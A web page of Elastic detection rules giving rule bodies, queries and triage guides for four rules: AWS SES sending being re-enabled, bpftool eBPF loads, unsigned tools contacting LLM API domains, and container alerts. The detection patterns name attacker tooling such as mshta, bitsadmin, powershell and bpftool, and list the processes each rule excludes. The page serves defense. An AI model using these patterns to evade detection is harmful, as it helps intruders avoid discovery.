Detection rules › Elastic
Elastic rules: 26
AWS SES Account Email Sending Enabled
#Detects when account-level email sending is explicitly enabled in Amazon SES, via the v1 UpdateAccountSendingEnabled API with Enabled: true or the v2 PutAccountSendingAttributes API with SendingEnabled: true. Account-level sending is commonly paused by an administrator, or by automation wired to CloudWatch reputation alarms when bounce or complaint rates rise. An attacker who compromises an AWS account may re-enable sending to restore a paused capability as part of phishing infrastructure setup, allowing bulk email under the victim organization's trusted sending domain. Neither API can resume sending that AWS itself has paused.
Known False Positives
- SES account sending may be legitimately re-enabled by an administrator after a sending pause for bounce/complaint rate investigation or maintenance. Validate against a change management record or scheduled maintenance window. This API is rarely called in normal operations.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Resource Development |
Telemetry Coverage
Rule Body
[metadata]
creation_date = "2026/08/24"
integration = ["aws"]
maturity = "production"
updated_date = "2026/08/24"
[rule]
author = ["Elastic"]
description = """
Detects when account-level email sending is explicitly enabled in Amazon SES, via the v1
UpdateAccountSendingEnabled API with Enabled: true or the v2 PutAccountSendingAttributes API with
SendingEnabled: true. Account-level sending is commonly paused by an administrator, or by automation
wired to CloudWatch reputation alarms when bounce or complaint rates rise. An attacker who
compromises an AWS account may re-enable sending to restore a paused capability as part of phishing
infrastructure setup, allowing bulk email under the victim organization's trusted sending domain.
Neither API can resume sending that AWS itself has paused.
"""
false_positives = [
"""
SES account sending may be legitimately re-enabled by an administrator after a sending pause
for bounce/complaint rate investigation or maintenance. Validate against a change management
record or scheduled maintenance window. This API is rarely called in normal operations.
""",
]
from = "now-6m"
index = ["logs-aws.cloudtrail-*"]
language = "kuery"
license = "Elastic License v2"
name = "AWS SES Account Email Sending Enabled"
note = """## Triage and analysis
### Investigating AWS SES Account Email Sending Enabled
ses:UpdateAccountSendingEnabled (v1) and ses:PutAccountSendingAttributes (v2) both control whether the entire AWS account can send email in the current region, and both log under event.provider ses.amazonaws.com, so a caller can reach the same outcome through either API version. Enabling account-level sending is a one-step action that lifts a pause set by an administrator or by CloudWatch-driven automation. Per the v2 documentation neither API can resume sending that AWS has paused, so this is not a path out of an AWS enforcement action. In normal operations these APIs are rarely called. An attacker with SES permissions may call either one to restore paused sending capability, or to enable sending in a region where it was not previously active.
### Possible investigation steps
- Identify the caller in aws.cloudtrail.user_identity.arn and user.name. Determine whether this is a known SES administrator or an anomalous identity.
- Verify whether account-level sending was previously disabled (ses:GetAccountSendingEnabled in v1, or ses:GetAccount returning SendingEnabled false in v2) and cross-reference prior CloudTrail events for both APIs.
- Query CloudTrail for co-occurring events from the same identity: IAM privilege escalation (AttachUserPolicy, AttachRolePolicy), SES identity creation (VerifyEmailIdentity, CreateEmailIdentity), or SES template/suppression-list manipulation.
- Check the account's SES sending statistics for any unusual spike in sent email volume following this event.
- Determine whether this corresponds to a legitimate remediation of a bounce/complaint rate issue with a change management ticket.
### False positive analysis
- Legitimate SES operations teams re-enabling sending after a planned suspension will trigger this rule. These events are rare; validate against change records.
### Response and remediation
- If unauthorized, disable account-level sending immediately via ses:UpdateAccountSendingEnabled with Enabled: false, or ses:PutAccountSendingAttributes with SendingEnabled: false.
- Revoke active sessions for the calling identity.
- Review SES send statistics for unauthorized email activity during the enabled window.
- Check all SES email identities and sending authorization policies for unauthorized entries.
"""
references = [
"https://docs.aws.amazon.com/ses/latest/APIReference/API_UpdateAccountSendingEnabled.html",
"https://docs.aws.amazon.com/ses/latest/APIReference-V2/API_PutAccountSendingAttributes.html",
"https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/",
"https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns/",
]
risk_score = 47
rule_id = "e3f4a5b6-c7d8-9012-cdef-34567890abcd"
setup = "The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. No additional data event selectors are required — `ses:UpdateAccountSendingEnabled` and `ses:PutAccountSendingAttributes` are management-plane APIs logged by default."
severity = "medium"
tags = [
"Domain: Cloud",
"Platform: AWS",
"Data Source: AWS CloudTrail",
"Service: AWS SES",
"Rule Type: Custom Query (KQL)",
"Tactic: Resource Development",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
data_stream.dataset: "aws.cloudtrail"
and event.provider: "ses.amazonaws.com"
and event.action: ("UpdateAccountSendingEnabled" or "PutAccountSendingAttributes")
and event.outcome: "success"
and aws.cloudtrail.request_parameters: (*enabled=true* or *Enabled=true*)
and not user_agent.original: (*Terraform* or *terraform* or *Pulumi* or *pulumi* or *Ansible* or "batch.amazonaws.com" or "cloudformation.amazonaws.com")
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1608"
name = "Stage Capabilities"
reference = "https://attack.mitre.org/techniques/T1608/"
[rule.threat.tactic]
id = "TA0042"
name = "Resource Development"
reference = "https://attack.mitre.org/tactics/TA0042/"
[rule.investigation_fields]
field_names = [
"@timestamp",
"aws.cloudtrail.user_identity.arn",
"aws.cloudtrail.user_identity.type",
"aws.cloudtrail.user_identity.access_key_id",
"user.name",
"event.action",
"event.outcome",
"aws.cloudtrail.request_parameters",
"source.ip",
"cloud.region",
"cloud.account.id",
]
Stages and Predicates
Stage 1: query
data_stream.dataset: "aws.cloudtrail"
and event.provider: "ses.amazonaws.com"
and event.action: ("UpdateAccountSendingEnabled" or "PutAccountSendingAttributes")
and event.outcome: "success"
and aws.cloudtrail.request_parameters: (*enabled=true* or *Enabled=true*)
and not user_agent.original: (*Terraform* or *terraform* or *Pulumi* or *pulumi* or *Ansible* or "batch.amazonaws.com" or "cloudformation.amazonaws.com")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
aws.cloudtrail.request_parameters | wildcard |
| field:"aws::requestParameters" kind:wildcard |
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"aws.cloudtrail" |
event.action | in |
| field:"EventType" kind:in |
event.outcome | eq |
| field:"event.outcome" kind:eq value:"success" |
event.provider | eq |
| field:"Provider_Name" kind:eq value:"ses.amazonaws.com" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
user_agent.original | eq | batch.amazonaws.com | excludes:user_agent.original field:"user_agent.original" value:"batch.amazonaws.com" |
user_agent.original | eq | cloudformation.amazonaws.com | excludes:user_agent.original field:"user_agent.original" value:"cloudformation.amazonaws.com" |
user_agent.original | match | Ansible | excludes:user_agent.original field:"user_agent.original" value:"Ansible" |
user_agent.original | match | Pulumi | excludes:user_agent.original field:"user_agent.original" value:"Pulumi" |
user_agent.original | match | Terraform | excludes:user_agent.original field:"user_agent.original" value:"Terraform" |
user_agent.original | match | pulumi | excludes:user_agent.original field:"user_agent.original" value:"pulumi" |
user_agent.original | match | terraform | excludes:user_agent.original field:"user_agent.original" value:"terraform" |
BPF Program or Map Load via bpftool
#Detects execution of bpftool commands used to load, attach, run, or pin eBPF programs, as well as create or update eBPF maps and links. These operations interact directly with the Linux eBPF subsystem and can modify kernel-level behavior. While commonly used by legitimate networking or observability tooling, unexpected or interactive usage may indicate eBPF-based rootkit activity, policy tampering, or unauthorized kernel instrumentation.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Privilege Escalation | |
| Stealth |
Rule Body
[metadata]
creation_date = "2026/02/20"
integration = ["endpoint", "auditd_manager", "sentinel_one_cloud_funnel", "crowdstrike"]
maturity = "production"
updated_date = "2026/03/24"
[rule]
author = ["Elastic"]
description = """
Detects execution of bpftool commands used to load, attach, run, or pin eBPF programs, as well as create or update
eBPF maps and links. These operations interact directly with the Linux eBPF subsystem and can modify kernel-level
behavior. While commonly used by legitimate networking or observability tooling, unexpected or interactive usage
may indicate eBPF-based rootkit activity, policy tampering, or unauthorized kernel instrumentation.
"""
from = "now-9m"
index = [
"auditbeat-*",
"endgame-*",
"logs-auditd_manager.auditd-*",
"logs-endpoint.events.process*",
"logs-sentinel_one_cloud_funnel.*",
"logs-crowdstrike.fdr*",
]
language = "eql"
license = "Elastic License v2"
name = "BPF Program or Map Load via bpftool"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating BPF Program or Map Load via bpftool
This rule flags bpftool executions that load, attach, run, or pin eBPF programs and that create or pin maps/links, actions that can change kernel behavior without traditional user-space artifacts. Adversaries can use bpftool to load a malicious eBPF object, attach it to a tracepoint or traffic control hook, and pin the program and maps in bpffs so it persists and hides or filters activity across reboots.
### Possible investigation steps
- Capture full command line, parent process, user context, TTY/session, and current working directory to determine whether execution was interactive administration or automated tooling.
- Enumerate loaded and pinned eBPF artifacts and their attachment points using `bpftool prog show`, `bpftool map show`, `bpftool link show`, and a filesystem review of `/sys/fs/bpf` to identify unexpected persistence.
- Identify the eBPF object/source used for the load (path, inode, hash, package origin) and retrieve a copy for analysis, including checking for recent writes or downloads in the same directory tree.
- Correlate the event time with system logs and other telemetry for follow-on activity such as privilege escalation, module loads, network filtering changes, or suspicious process hiding indicators.
- Hunt for persistence mechanisms that would reload the same eBPF program after reboot (systemd units/timers, cron, init scripts, container entrypoints) and validate against known legitimate observability/network stacks in the environment.
### False positive analysis
- A system administrator or SRE may run `bpftool prog load/attach/pin` or `bpftool map create/pin` during planned troubleshooting or performance investigation to temporarily instrument kernel events and persist objects under `/sys/fs/bpf` for multi-step validation.
- A legitimate system service or boot-time automation may invoke `bpftool` to load and pin eBPF programs/maps as part of expected networking, security policy enforcement, or observability initialization, especially after upgrades or configuration changes that trigger reloading.
### Response and remediation
- Immediately isolate the host or container from the network and stop the initiating service/session, then detach any active hooks by removing pinned artifacts under `/sys/fs/bpf` and verifying with `bpftool prog show` and `bpftool link show` that the suspicious program/link is no longer attached.
- Preserve evidence by collecting the full `bpftool` command line and parent chain, a recursive copy of `/sys/fs/bpf`, and the exact eBPF object file used for the load (path, hash, permissions, timestamps) before deleting or modifying artifacts.
- Eradicate persistence by removing malicious eBPF pins, deleting or quarantining the associated `.o`/loader binaries, and disabling the boot-time mechanism that reloads them (systemd unit/timer, cron, init scripts, container entrypoint) followed by a controlled reboot to clear any remaining in-kernel state.
- Recover by restoring the system to a known-good configuration, validating expected networking/observability behavior, and monitoring that no new pinned programs/maps/links reappear under `/sys/fs/bpf` after reboot or service restarts.
- Escalate to incident response and kernel/rootkit specialists if the program attaches to security-relevant hooks (e.g., tracepoints/kprobes/LSM/tc) or if pinned objects reappear after removal, indicating an active persistence mechanism or compromised privileged runtime.
- Harden by restricting `bpftool` availability and access to bpffs, enforcing least-privilege for CAP_BPF/CAP_SYS_ADMIN, requiring signed/managed eBPF loaders, and enabling controls that limit eBPF usage to approved components in production images and hosts."""
references = [
"https://manpages.ubuntu.com/manpages/jammy/man8/bpftool-prog.8.html",
"https://manpages.ubuntu.com/manpages/noble/man8/bpftool-map.8.html",
"https://man.archlinux.org/man/bpftool-link.8.en",
]
risk_score = 47
rule_id = "2d05fefd-40ba-43ae-af0c-3c25e86b54f1"
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Persistence",
"Tactic: Defense Evasion",
"Threat: Rootkit",
"Data Source: Elastic Endgame",
"Data Source: Elastic Defend",
"Data Source: Auditd Manager",
"Data Source: SentinelOne",
"Data Source: Crowdstrike",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where host.os.type == "linux" and event.type == "start" and
event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and
process.name == "bpftool" and (
(process.args == "prog" and process.args in ("load", "loadall", "attach", "run", "pin")) or
(process.args == "map" and process.args in ("create", "pin")) or
(process.args == "link" and process.args == "pin")
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1547"
name = "Boot or Logon Autostart Execution"
reference = "https://attack.mitre.org/techniques/T1547/"
[[rule.threat.technique.subtechnique]]
id = "T1547.006"
name = "Kernel Modules and Extensions"
reference = "https://attack.mitre.org/techniques/T1547/006/"
[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1014"
name = "Rootkit"
reference = "https://attack.mitre.org/techniques/T1014/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1547"
name = "Boot or Logon Autostart Execution"
reference = "https://attack.mitre.org/techniques/T1547/"
[[rule.threat.technique.subtechnique]]
id = "T1547.006"
name = "Kernel Modules and Extensions"
reference = "https://attack.mitre.org/techniques/T1547/006/"
[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"
Stages and Predicates
Stage 1: process
process where host.os.type == "linux" and event.type == "start" and
event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and
process.name == "bpftool" and (
(process.args == "prog" and process.args in ("load", "loadall", "attach", "run", "pin")) or
(process.args == "map" and process.args in ("create", "pin")) or
(process.args == "link" and process.args == "pin")
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | in |
| field:"EventType" kind:in |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | eq |
| field:"process.args" kind:eq |
process.args | in |
| field:"process.args" kind:in |
process.name | eq |
| field:"process_basename" kind:eq value:"bpftool" |
Connection to Common Large Language Model Endpoints
#Identifies DNS queries to known Large Language Model domains by unsigned binaries or common Windows scripting utilities. Malwares may leverage the capabilities of LLM to perform actions in the affected system in a dynamic way.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Command & Control |
Rule Body
[metadata]
creation_date = "2025/09/01"
integration = ["endpoint", "windows", "sentinel_one_cloud_funnel"]
maturity = "production"
updated_date = "2026/04/21"
[rule]
author = ["Elastic"]
description = """
Identifies DNS queries to known Large Language Model domains by unsigned binaries or common Windows scripting utilities.
Malwares may leverage the capabilities of LLM to perform actions in the affected system in a dynamic way.
"""
from = "now-9m"
index = [
"endgame-*",
"logs-endpoint.events.network-*",
"logs-sentinel_one_cloud_funnel.*",
"logs-windows.sysmon_operational-*",
"winlogbeat-*",
]
language = "eql"
license = "Elastic License v2"
name = "Connection to Common Large Language Model Endpoints"
note = """## Triage and analysis
### Investigating Connection to Common Large Language Model Endpoints
#### Possible investigation steps
- Investigate the process execution chain (parent process tree) for unknown processes or malicious scripts.
- Verify if the executed process is persistent on the host like common mechanisms Startup folder, task or Run key.
- Review any unusual network, files or registry events by the same process.
- Investigate other alerts associated with the user/host during the past 48 hours.
- Extract this communication's indicators of compromise (IoCs) and use traffic logs to search for other potentially compromised hosts.
### False positive analysis
- Trusted applications from an expected process running in the environment.
### Response and remediation
- Initiate the incident response process based on the outcome of the triage.
- Isolate the involved host to prevent further post-compromise behavior.
- Immediately block the identified indicators of compromise (IoCs).
- Implement any temporary network rules, procedures, and segmentation required to contain the attack.
- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
- Update firewall rules to be more restrictive.
- Reimage the host operating system or restore the compromised files to clean versions.
- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.
- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
"""
references = ["https://malpedia.caad.fkie.fraunhofer.de/details/py.lamehug"]
risk_score = 47
rule_id = "4ae94fc1-f08f-419f-b692-053d28219380"
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Windows",
"OS: macOS",
"Use Case: Threat Detection",
"Tactic: Command and Control",
"Resources: Investigation Guide",
"Data Source: Elastic Endgame",
"Data Source: Elastic Defend",
"Data Source: SentinelOne",
"Data Source: Sysmon",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
network where host.os.type in ("macos", "windows") and dns.question.name != null and
(
process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe",
"bitsadmin.exe", "InstallUtil.exe", "RegAsm.exe", "vbc.exe", "RegSvcs.exe", "regsvr32.exe", "dllhost.exe",
"node.exe", "javaw.exe", "java.exe", "*.pif", "*.com", "python*", "osascript", "Script Editor", "curl", "curl.exe", "deno",
"deno.exe", "node", "bun", "bun.exe") or
?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or
(
process.executable : ("?:\\Users\\*.exe", "?:\\ProgramData\\*.exe", "/Users/Shared/*", "/Library/WebServer/*",
"/Users/*/Library/WebServer/*", "/Library/Graphics/*", "/Users/*/Library/Graphics/*", "/Library/Fonts/*",
"/Users/*/Library/Fonts/*", "/private/var/root/Library/HTTPStorages/*", "/tmp/*", "/var/tmp/*", "/private/tmp/*") and
(?process.code_signature.trusted == false or ?process.code_signature.exists == false)
)
) and
dns.question.name : (
// Major LLM APIs
"api.openai.com",
"*.openai.azure.com",
"api.anthropic.com",
"api.mistral.ai",
"api.cohere.ai",
"api.ai21.com",
"api.groq.com",
"api.perplexity.ai",
"api.x.ai",
"api.deepseek.com",
"api.gemini.google.com",
"generativelanguage.googleapis.com",
"api.azure.com",
"api.bedrock.aws",
"bedrock-runtime.*.amazonaws.com",
// Hugging Face & other ML infra
"api-inference.huggingface.co",
"inference-endpoint.huggingface.cloud",
"router.huggingface.co",
"*.hf.space",
"*.replicate.com",
"api.replicate.com",
"api.runpod.ai",
"*.runpod.io",
"api.modal.com",
"*.forefront.ai",
"api.arcee.ai",
"api.sambanova.ai",
"chatapi.akash.network",
"api.reka.ai",
"api.cerebras.ai",
"api.morphllm.com",
"openrouter.ai",
"api.moonshot.cn",
"api.moonshot.ai",
"api.z.ai",
"api.inference.wandb.ai",
"trace.wandb.ai",
"api.bfl.ai",
"api.eu.bfl.ai",
"api.us.bfl.ai",
"api.ionstream.ai",
"api.minimax.io",
"api.minimaxi.com",
"api.stepfun.ai",
"api.stepfun.com",
"api.featherless.ai",
"api.intelligence.io.solutions",
"api.fireworks.ai",
"inference.baseten.co",
"api.baseten.co",
"api.gmi-serving.com",
"api.ncompass.tech",
"api.nextbit256.com",
"api.hyperbolic.xyz",
"neuro.mancer.tech",
"managed-inference-api-proxy.crusoecloud.com",
"api.crusoe.ai",
"api.avian.io",
"api.siliconflow.cn",
"api.totalgpt.ai",
"switchpoint.dev",
"api.novita.ai",
"api.inflection.ai",
"api.wavespeed.ai",
"api.cloud.mara.com",
"api.inference.net",
"api.deepinfra.com",
"api.xiaomimimo.com",
"dashscope.aliyuncs.com",
"dashscope-intl.aliyuncs.com",
"dashscope-us.aliyuncs.com",
"integrate.api.nvidia.com",
"api.inceptionlabs.ai",
"api.friendli.ai",
"external.api.recraft.ai",
"api.cloudflare.com",
"gateway.ai.cloudflare.com",
"api.studio.nebius.ai",
"api.tokenfactory.nebius.com",
"api.aionlabs.ai",
"api.relace.run",
"instantapply.endpoint.relace.run",
"ranker.endpoint.relace.run",
"embeddings.endpoint.relace.run",
"console-api.inference.ai",
"api.parasail.io",
"api.redpill.ai",
"api.modular.com",
"ark.cn-beijing.volces.com",
"ark.ap-southeast.bytepluses.com",
"ai2endpoints.cirrascale.ai",
"aisuite.cirrascale.com",
"api.clarifai.com",
"api.venice.ai",
"api.atlascloud.ai",
"wanqing.streamlakeapi.com",
"api.ambient.xyz",
"api.upstage.ai",
"api.together.xyz",
"api.inceptron.io",
"chutes.ai",
"aiplatform.googleapis.com",
"portal.nousresearch.com",
"inference-api.nousresearch.com",
"api.githubcopilot.com",
"ai-gateway.vercel.sh",
"opencode.ai",
"api.kilo.ai",
"qianfan.baidubce.com",
"hunyuan.tencentcloudapi.com",
"open.bigmodel.cn",
"spark-api-open.xf-yun.com",
"api.sensenova.cn",
"api.baichuan-ai.com",
"api-inference.modelscope.cn",
"api.lingyiwanwu.com",
"api.360.cn",
// Consumer-facing AI chat portals
"chat.openai.com",
"chatgpt.com",
"copilot.microsoft.com",
"bard.google.com",
"gemini.google.com",
"claude.ai",
"perplexity.ai",
"poe.com",
"chat.forefront.ai",
"chat.deepseek.com",
// OpenClaw
"openclaw.ai"
) and
not process.executable : (
"?:\\Program Files\\*.exe",
"?:\\Program Files (x86)\\*.exe",
"?:\\Windows\\System32\\svchost.exe",
"?:\\Windows\\SystemApps\\Microsoft.LockApp_*\\LockApp.exe",
"?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe",
"?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe",
"?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe",
"?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe"
) and
not (?process.code_signature.trusted == true and
?process.code_signature.subject_name : ("Anthropic, PBC", "Google LLC", "Mozilla Corporation", "Brave Software, Inc.", "Island Technology Inc.", "Opera Norway AS",
"OpenJS Foundation", "Developer ID Application: Node.js Foundation (HX7739G8FX)"))
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1102"
name = "Web Service"
reference = "https://attack.mitre.org/techniques/T1102/"
[[rule.threat.technique.subtechnique]]
id = "T1102.002"
name = "Bidirectional Communication"
reference = "https://attack.mitre.org/techniques/T1102/002/"
[rule.threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"
Stages and Predicates
Stage 1: network
network where host.os.type in ("macos", "windows") and dns.question.name != null and
(
process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe",
"bitsadmin.exe", "InstallUtil.exe", "RegAsm.exe", "vbc.exe", "RegSvcs.exe", "regsvr32.exe", "dllhost.exe",
"node.exe", "javaw.exe", "java.exe", "*.pif", "*.com", "python*", "osascript", "Script Editor", "curl", "curl.exe", "deno",
"deno.exe", "node", "bun", "bun.exe") or
?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or
(
process.executable : ("?:\\Users\\*.exe", "?:\\ProgramData\\*.exe", "/Users/Shared/*", "/Library/WebServer/*",
"/Users/*/Library/WebServer/*", "/Library/Graphics/*", "/Users/*/Library/Graphics/*", "/Library/Fonts/*",
"/Users/*/Library/Fonts/*", "/private/var/root/Library/HTTPStorages/*", "/tmp/*", "/var/tmp/*", "/private/tmp/*") and
(?process.code_signature.trusted == false or ?process.code_signature.exists == false)
)
) and
dns.question.name : (
"api.openai.com",
"*.openai.azure.com",
"api.anthropic.com",
"api.mistral.ai",
"api.cohere.ai",
"api.ai21.com",
"api.groq.com",
"api.perplexity.ai",
"api.x.ai",
"api.deepseek.com",
"api.gemini.google.com",
"generativelanguage.googleapis.com",
"api.azure.com",
"api.bedrock.aws",
"bedrock-runtime.*.amazonaws.com",
"api-inference.huggingface.co",
"inference-endpoint.huggingface.cloud",
"router.huggingface.co",
"*.hf.space",
"*.replicate.com",
"api.replicate.com",
"api.runpod.ai",
"*.runpod.io",
"api.modal.com",
"*.forefront.ai",
"api.arcee.ai",
"api.sambanova.ai",
"chatapi.akash.network",
"api.reka.ai",
"api.cerebras.ai",
"api.morphllm.com",
"openrouter.ai",
"api.moonshot.cn",
"api.moonshot.ai",
"api.z.ai",
"api.inference.wandb.ai",
"trace.wandb.ai",
"api.bfl.ai",
"api.eu.bfl.ai",
"api.us.bfl.ai",
"api.ionstream.ai",
"api.minimax.io",
"api.minimaxi.com",
"api.stepfun.ai",
"api.stepfun.com",
"api.featherless.ai",
"api.intelligence.io.solutions",
"api.fireworks.ai",
"inference.baseten.co",
"api.baseten.co",
"api.gmi-serving.com",
"api.ncompass.tech",
"api.nextbit256.com",
"api.hyperbolic.xyz",
"neuro.mancer.tech",
"managed-inference-api-proxy.crusoecloud.com",
"api.crusoe.ai",
"api.avian.io",
"api.siliconflow.cn",
"api.totalgpt.ai",
"switchpoint.dev",
"api.novita.ai",
"api.inflection.ai",
"api.wavespeed.ai",
"api.cloud.mara.com",
"api.inference.net",
"api.deepinfra.com",
"api.xiaomimimo.com",
"dashscope.aliyuncs.com",
"dashscope-intl.aliyuncs.com",
"dashscope-us.aliyuncs.com",
"integrate.api.nvidia.com",
"api.inceptionlabs.ai",
"api.friendli.ai",
"external.api.recraft.ai",
"api.cloudflare.com",
"gateway.ai.cloudflare.com",
"api.studio.nebius.ai",
"api.tokenfactory.nebius.com",
"api.aionlabs.ai",
"api.relace.run",
"instantapply.endpoint.relace.run",
"ranker.endpoint.relace.run",
"embeddings.endpoint.relace.run",
"console-api.inference.ai",
"api.parasail.io",
"api.redpill.ai",
"api.modular.com",
"ark.cn-beijing.volces.com",
"ark.ap-southeast.bytepluses.com",
"ai2endpoints.cirrascale.ai",
"aisuite.cirrascale.com",
"api.clarifai.com",
"api.venice.ai",
"api.atlascloud.ai",
"wanqing.streamlakeapi.com",
"api.ambient.xyz",
"api.upstage.ai",
"api.together.xyz",
"api.inceptron.io",
"chutes.ai",
"aiplatform.googleapis.com",
"portal.nousresearch.com",
"inference-api.nousresearch.com",
"api.githubcopilot.com",
"ai-gateway.vercel.sh",
"opencode.ai",
"api.kilo.ai",
"qianfan.baidubce.com",
"hunyuan.tencentcloudapi.com",
"open.bigmodel.cn",
"spark-api-open.xf-yun.com",
"api.sensenova.cn",
"api.baichuan-ai.com",
"api-inference.modelscope.cn",
"api.lingyiwanwu.com",
"api.360.cn",
"chat.openai.com",
"chatgpt.com",
"copilot.microsoft.com",
"bard.google.com",
"gemini.google.com",
"claude.ai",
"perplexity.ai",
"poe.com",
"chat.forefront.ai",
"chat.deepseek.com",
"openclaw.ai"
) and
not process.executable : (
"?:\\Program Files\\*.exe",
"?:\\Program Files (x86)\\*.exe",
"?:\\Windows\\System32\\svchost.exe",
"?:\\Windows\\SystemApps\\Microsoft.LockApp_*\\LockApp.exe",
"?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe",
"?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe",
"?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe",
"?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe"
) and
not (?process.code_signature.trusted == true and
?process.code_signature.subject_name : ("Anthropic, PBC", "Google LLC", "Mozilla Corporation", "Brave Software, Inc.", "Island Technology Inc.", "Opera Norway AS",
"OpenJS Foundation", "Developer ID Application: Node.js Foundation (HX7739G8FX)"))
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
dns.question.name | is_not_null | field:"QueryName" kind:is_not_null | |
dns.question.name | wildcard |
| field:"QueryName" kind:wildcard |
process.code_signature.exists | eq |
| field:"process.code_signature.exists" kind:eq value:"false" |
process.code_signature.subject_name | wildcard |
| field:"Signature" kind:wildcard |
process.code_signature.trusted | eq |
| field:"process.code_signature.trusted" kind:eq value:"false" |
process.executable | wildcard |
| field:"Image" kind:wildcard |
process.name | wildcard |
| field:"process_basename" kind:wildcard |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.code_signature.subject_name | eq | Anthropic, PBC, Google LLC, Mozilla Corporation, Brave Software, Inc., Island Technology Inc., Opera Norway AS, OpenJS Foundation, Developer ID Application: Node.js Foundation (HX7739G8FX) | excludes:process.code_signature.subject_name |
process.code_signature.trusted | eq | true | excludes:process.code_signature.trusted field:"process.code_signature.trusted" value:"true" |
process.executable | wildcard | ?:\Program Files\*.exe, ?:\Program Files (x86)\*.exe, ?:\Windows\System32\svchost.exe, ?:\Windows\SystemApps\Microsoft.LockApp_*\LockApp.exe, ?:\Users\*\AppData\Local\Google\Chrome\Application\chrome.exe, ?:\Users\*\AppData\Local\BraveSoftware\*\Application\brave.exe, ?:\Users\*\AppData\Local\Vivaldi\Application\vivaldi.exe, ?:\Users\*\AppData\Local\Programs\Opera*\opera.exe, ?:\Users\*\AppData\Local\Programs\Fiddler\Fiddler.exe | excludes:process.executable |
Container Workload Protection
#Generates a detection alert each time a 'Container Workload Protection' alert is received. Enabling this rule allows you to immediately begin triaging and investigating these alerts.
Rule Body
[metadata]
creation_date = "2023/04/05"
integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/01/15"
[rule]
author = ["Elastic"]
description = """
Generates a detection alert each time a 'Container Workload Protection' alert is received. Enabling this rule allows you
to immediately begin triaging and investigating these alerts.
"""
enabled = true
from = "now-10m"
index = ["logs-cloud_defend.alerts-*"]
language = "kuery"
license = "Elastic License v2"
max_signals = 1000
name = "Container Workload Protection"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Container Workload Protection
Container Workload Protection is crucial for securing containerized environments by monitoring and defending against threats. Adversaries may exploit vulnerabilities in container orchestration or escape isolation to access host systems. The detection rule leverages alerts from cloud defense modules, focusing on suspicious activities within container domains, enabling timely triage and investigation of potential security incidents.
### Possible investigation steps
